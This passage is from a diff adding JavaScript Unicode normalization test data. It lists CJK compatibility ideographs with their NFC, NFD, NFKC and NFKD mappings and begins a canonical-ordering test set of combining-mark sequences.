+{ source: [0x2F9B5], NFC: [0x8667], NFD: [0x8667], NFKC: [0x8667], NFKD: [0x8667] },
+{ source: [0x2F9B6], NFC: [0x8669], NFD: [0x8669], NFKC: [0x8669], NFKD: [0x8669] },
+{ source: [0x2F9B7], NFC: [0x86A9], NFD: [0x86A9], NFKC: [0x86A9], NFKD: [0x86A9] },
+{ source: [0x2F9B8], NFC: [0x8688], NFD: [0x8688], NFKC: [0x8688], NFKD: [0x8688] },
+{ source: [0x2F9B9], NFC: [0x870E], NFD: [0x870E], NFKC: [0x870E], NFKD: [0x870E] },
+{ source: [0x2F9BA], NFC: [0x86E2], NFD: [0x86E2], NFKC: [0x86E2], NFKD: [0x86E2] },
+{ source: [0x2F9BB], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0x2F9BC], NFC: [0x8728], NFD: [0x8728], NFKC: [0x8728], NFKD: [0x8728] },
+{ source: [0x2F9BD], NFC: [0x876B], NFD: [0x876B], NFKC: [0x876B], NFKD: [0x876B] },
+{ source: [0x2F9BE], NFC: [0x8786], NFD: [0x8786], NFKC: [0x8786], NFKD: [0x8786] },
+{ source: [0x2F9BF], NFC: [0x45D7], NFD: [0x45D7], NFKC: [0x45D7], NFKD: [0x45D7] },
+{ source: [0x2F9C0], NFC: [0x87E1], NFD: [0x87E1], NFKC: [0x87E1], NFKD: [0x87E1] },
+{ source: [0x2F9C1], NFC: [0x8801], NFD: [0x8801], NFKC: [0x8801], NFKD: [0x8801] },
+{ source: [0x2F9C2], NFC: [0x45F9], NFD: [0x45F9], NFKC: [0x45F9], NFKD: [0x45F9] },
+{ source: [0x2F9C3], NFC: [0x8860], NFD: [0x8860], NFKC: [0x8860], NFKD: [0x8860] },
+{ source: [0x2F9C4], NFC: [0x8863], NFD: [0x8863], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F9C5], NFC: [0x27667], NFD: [0x27667], NFKC: [0x27667], NFKD: [0x27667] },
+{ source: [0x2F9C6], NFC: [0x88D7], NFD: [0x88D7], NFKC: [0x88D7], NFKD: [0x88D7] },
+{ source: [0x2F9C7], NFC: [0x88DE], NFD: [0x88DE], NFKC: [0x88DE], NFKD: [0x88DE] },
+{ source: [0x2F9C8], NFC: [0x4635], NFD: [0x4635], NFKC: [0x4635], NFKD: [0x4635] },
+{ source: [0x2F9C9], NFC: [0x88FA], NFD: [0x88FA], NFKC: [0x88FA], NFKD: [0x88FA] },
+{ source: [0x2F9CA], NFC: [0x34BB], NFD: [0x34BB], NFKC: [0x34BB], NFKD: [0x34BB] },
+{ source: [0x2F9CB], NFC: [0x278AE], NFD: [0x278AE], NFKC: [0x278AE], NFKD: [0x278AE] },
+{ source: [0x2F9CC], NFC: [0x27966], NFD: [0x27966], NFKC: [0x27966], NFKD: [0x27966] },
+{ source: [0x2F9CD], NFC: [0x46BE], NFD: [0x46BE], NFKC: [0x46BE], NFKD: [0x46BE] },
+{ source: [0x2F9CE], NFC: [0x46C7], NFD: [0x46C7], NFKC: [0x46C7], NFKD: [0x46C7] },
+{ source: [0x2F9CF], NFC: [0x8AA0], NFD: [0x8AA0], NFKC: [0x8AA0], NFKD: [0x8AA0] },
+{ source: [0x2F9D0], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0x2F9D1], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0x2F9D2], NFC: [0x8C55], NFD: [0x8C55], NFKC: [0x8C55], NFKD: [0x8C55] },
+{ source: [0x2F9D3], NFC: [0x27CA8], NFD: [0x27CA8], NFKC: [0x27CA8], NFKD: [0x27CA8] },
+{ source: [0x2F9D4], NFC: [0x8CAB], NFD: [0x8CAB], NFKC: [0x8CAB], NFKD: [0x8CAB] },
+{ source: [0x2F9D5], NFC: [0x8CC1], NFD: [0x8CC1], NFKC: [0x8CC1], NFKD: [0x8CC1] },
+{ source: [0x2F9D6], NFC: [0x8D1B], NFD: [0x8D1B], NFKC: [0x8D1B], NFKD: [0x8D1B] },
+{ source: [0x2F9D7], NFC: [0x8D77], NFD: [0x8D77], NFKC: [0x8D77], NFKD: [0x8D77] },
+{ source: [0x2F9D8], NFC: [0x27F2F], NFD: [0x27F2F], NFKC: [0x27F2F], NFKD: [0x27F2F] },
+{ source: [0x2F9D9], NFC: [0x20804], NFD: [0x20804], NFKC: [0x20804], NFKD: [0x20804] },
+{ source: [0x2F9DA], NFC: [0x8DCB], NFD: [0x8DCB], NFKC: [0x8DCB], NFKD: [0x8DCB] },
+{ source: [0x2F9DB], NFC: [0x8DBC], NFD: [0x8DBC], NFKC: [0x8DBC], NFKD: [0x8DBC] },
+{ source: [0x2F9DC], NFC: [0x8DF0], NFD: [0x8DF0], NFKC: [0x8DF0], NFKD: [0x8DF0] },
+{ source: [0x2F9DD], NFC: [0x208DE], NFD: [0x208DE], NFKC: [0x208DE], NFKD: [0x208DE] },
+{ source: [0x2F9DE], NFC: [0x8ED4], NFD: [0x8ED4], NFKC: [0x8ED4], NFKD: [0x8ED4] },
+{ source: [0x2F9DF], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0x2F9E0], NFC: [0x285D2], NFD: [0x285D2], NFKC: [0x285D2], NFKD: [0x285D2] },
+{ source: [0x2F9E1], NFC: [0x285ED], NFD: [0x285ED], NFKC: [0x285ED], NFKD: [0x285ED] },
+{ source: [0x2F9E2], NFC: [0x9094], NFD: [0x9094], NFKC: [0x9094], NFKD: [0x9094] },
+{ source: [0x2F9E3], NFC: [0x90F1], NFD: [0x90F1], NFKC: [0x90F1], NFKD: [0x90F1] },
+{ source: [0x2F9E4], NFC: [0x9111], NFD: [0x9111], NFKC: [0x9111], NFKD: [0x9111] },
+{ source: [0x2F9E5], NFC: [0x2872E], NFD: [0x2872E], NFKC: [0x2872E], NFKD: [0x2872E] },
+{ source: [0x2F9E6], NFC: [0x911B], NFD: [0x911B], NFKC: [0x911B], NFKD: [0x911B] },
+{ source: [0x2F9E7], NFC: [0x9238], NFD: [0x9238], NFKC: [0x9238], NFKD: [0x9238] },
+{ source: [0x2F9E8], NFC: [0x92D7], NFD: [0x92D7], NFKC: [0x92D7], NFKD: [0x92D7] },
+{ source: [0x2F9E9], NFC: [0x92D8], NFD: [0x92D8], NFKC: [0x92D8], NFKD: [0x92D8] },
+{ source: [0x2F9EA], NFC: [0x927C], NFD: [0x927C], NFKC: [0x927C], NFKD: [0x927C] },
+{ source: [0x2F9EB], NFC: [0x93F9], NFD: [0x93F9], NFKC: [0x93F9], NFKD: [0x93F9] },
+{ source: [0x2F9EC], NFC: [0x9415], NFD: [0x9415], NFKC: [0x9415], NFKD: [0x9415] },
+{ source: [0x2F9ED], NFC: [0x28BFA], NFD: [0x28BFA], NFKC: [0x28BFA], NFKD: [0x28BFA] },
+{ source: [0x2F9EE], NFC: [0x958B], NFD: [0x958B], NFKC: [0x958B], NFKD: [0x958B] },
+{ source: [0x2F9EF], NFC: [0x4995], NFD: [0x4995], NFKC: [0x4995], NFKD: [0x4995] },
+{ source: [0x2F9F0], NFC: [0x95B7], NFD: [0x95B7], NFKC: [0x95B7], NFKD: [0x95B7] },
+{ source: [0x2F9F1], NFC: [0x28D77], NFD: [0x28D77], NFKC: [0x28D77], NFKD: [0x28D77] },
+{ source: [0x2F9F2], NFC: [0x49E6], NFD: [0x49E6], NFKC: [0x49E6], NFKD: [0x49E6] },
+{ source: [0x2F9F3], NFC: [0x96C3], NFD: [0x96C3], NFKC: [0x96C3], NFKD: [0x96C3] },
+{ source: [0x2F9F4], NFC: [0x5DB2], NFD: [0x5DB2], NFKC: [0x5DB2], NFKD: [0x5DB2] },
+{ source: [0x2F9F5], NFC: [0x9723], NFD: [0x9723], NFKC: [0x9723], NFKD: [0x9723] },
+{ source: [0x2F9F6], NFC: [0x29145], NFD: [0x29145], NFKC: [0x29145], NFKD: [0x29145] },
+{ source: [0x2F9F7], NFC: [0x2921A], NFD: [0x2921A], NFKC: [0x2921A], NFKD: [0x2921A] },
+{ source: [0x2F9F8], NFC: [0x4A6E], NFD: [0x4A6E], NFKC: [0x4A6E], NFKD: [0x4A6E] },
+{ source: [0x2F9F9], NFC: [0x4A76], NFD: [0x4A76], NFKC: [0x4A76], NFKD: [0x4A76] },
+{ source: [0x2F9FA], NFC: [0x97E0], NFD: [0x97E0], NFKC: [0x97E0], NFKD: [0x97E0] },
+{ source: [0x2F9FB], NFC: [0x2940A], NFD: [0x2940A], NFKC: [0x2940A], NFKD: [0x2940A] },
+{ source: [0x2F9FC], NFC: [0x4AB2], NFD: [0x4AB2], NFKC: [0x4AB2], NFKD: [0x4AB2] },
+{ source: [0x2F9FD], NFC: [0x29496], NFD: [0x29496], NFKC: [0x29496], NFKD: [0x29496] },
+{ source: [0x2F9FE], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2F9FF], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2FA00], NFC: [0x9829], NFD: [0x9829], NFKC: [0x9829], NFKD: [0x9829] },
+{ source: [0x2FA01], NFC: [0x295B6], NFD: [0x295B6], NFKC: [0x295B6], NFKD: [0x295B6] },
+{ source: [0x2FA02], NFC: [0x98E2], NFD: [0x98E2], NFKC: [0x98E2], NFKD: [0x98E2] },
+{ source: [0x2FA03], NFC: [0x4B33], NFD: [0x4B33], NFKC: [0x4B33], NFKD: [0x4B33] },
+{ source: [0x2FA04], NFC: [0x9929], NFD: [0x9929], NFKC: [0x9929], NFKD: [0x9929] },
+{ source: [0x2FA05], NFC: [0x99A7], NFD: [0x99A7], NFKC: [0x99A7], NFKD: [0x99A7] },
+{ source: [0x2FA06], NFC: [0x99C2], NFD: [0x99C2], NFKC: [0x99C2], NFKD: [0x99C2] },
+{ source: [0x2FA07], NFC: [0x99FE], NFD: [0x99FE], NFKC: [0x99FE], NFKD: [0x99FE] },
+{ source: [0x2FA08], NFC: [0x4BCE], NFD: [0x4BCE], NFKC: [0x4BCE], NFKD: [0x4BCE] },
+{ source: [0x2FA09], NFC: [0x29B30], NFD: [0x29B30], NFKC: [0x29B30], NFKD: [0x29B30] },
+{ source: [0x2FA0A], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0x2FA0B], NFC: [0x9C40], NFD: [0x9C40], NFKC: [0x9C40], NFKD: [0x9C40] },
+{ source: [0x2FA0C], NFC: [0x9CFD], NFD: [0x9CFD], NFKC: [0x9CFD], NFKD: [0x9CFD] },
+{ source: [0x2FA0D], NFC: [0x4CCE], NFD: [0x4CCE], NFKC: [0x4CCE], NFKD: [0x4CCE] },
+{ source: [0x2FA0E], NFC: [0x4CED], NFD: [0x4CED], NFKC: [0x4CED], NFKD: [0x4CED] },
+{ source: [0x2FA0F], NFC: [0x9D67], NFD: [0x9D67], NFKC: [0x9D67], NFKD: [0x9D67] },
+{ source: [0x2FA10], NFC: [0x2A0CE], NFD: [0x2A0CE], NFKC: [0x2A0CE], NFKD: [0x2A0CE] },
+{ source: [0x2FA11], NFC: [0x4CF8], NFD: [0x4CF8], NFKC: [0x4CF8], NFKD: [0x4CF8] },
+{ source: [0x2FA12], NFC: [0x2A105], NFD: [0x2A105], NFKC: [0x2A105], NFKD: [0x2A105] },
+{ source: [0x2FA13], NFC: [0x2A20E], NFD: [0x2A20E], NFKC: [0x2A20E], NFKD: [0x2A20E] },
+{ source: [0x2FA14], NFC: [0x2A291], NFD: [0x2A291], NFKC: [0x2A291], NFKD: [0x2A291] },
+{ source: [0x2FA15], NFC: [0x9EBB], NFD: [0x9EBB], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FA16], NFC: [0x4D56], NFD: [0x4D56], NFKC: [0x4D56], NFKD: [0x4D56] },
+{ source: [0x2FA17], NFC: [0x9EF9], NFD: [0x9EF9], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FA18], NFC: [0x9EFE], NFD: [0x9EFE], NFKC: [0x9EFE], NFKD: [0x9EFE] },
+{ source: [0x2FA19], NFC: [0x9F05], NFD: [0x9F05], NFKC: [0x9F05], NFKD: [0x9F05] },
+{ source: [0x2FA1A], NFC: [0x9F0F], NFD: [0x9F0F], NFKC: [0x9F0F], NFKD: [0x9F0F] },
+{ source: [0x2FA1B], NFC: [0x9F16], NFD: [0x9F16], NFKC: [0x9F16], NFKD: [0x9F16] },
+{ source: [0x2FA1C], NFC: [0x9F3B], NFD: [0x9F3B], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FA1D], NFC: [0x2A600], NFD: [0x2A600], NFKC: [0x2A600], NFKD: [0x2A600] }
+];
+/* Part2 # Canonical Order Test */
+var tests_part2 = [
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0300, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0301, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0301, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0302, 0x0062], NFC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0302, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0303, 0x0062], NFC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0303, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062], NFKC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0304, 0x0062], NFC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0304, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062], NFKC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0305, 0x0062], NFC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0305, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0306, 0x0062], NFC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0306, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062], NFKC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0307, 0x0062], NFC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0307, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062], NFKC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0308, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0308, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0309, 0x0062], NFC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0309, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030A, 0x0062], NFC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062], NFKC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030B, 0x0062], NFC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030C, 0x0062], NFC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062], NFKC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030D, 0x0062], NFC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030E, 0x0062], NFC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030F, 0x0062], NFC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062], NFKC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0310, 0x0062], NFC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0310, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0311, 0x0062], NFC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0311, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062], NFKC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0312, 0x0062], NFC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0312, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0313, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0313, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0314, 0x0062], NFC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0314, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062] },
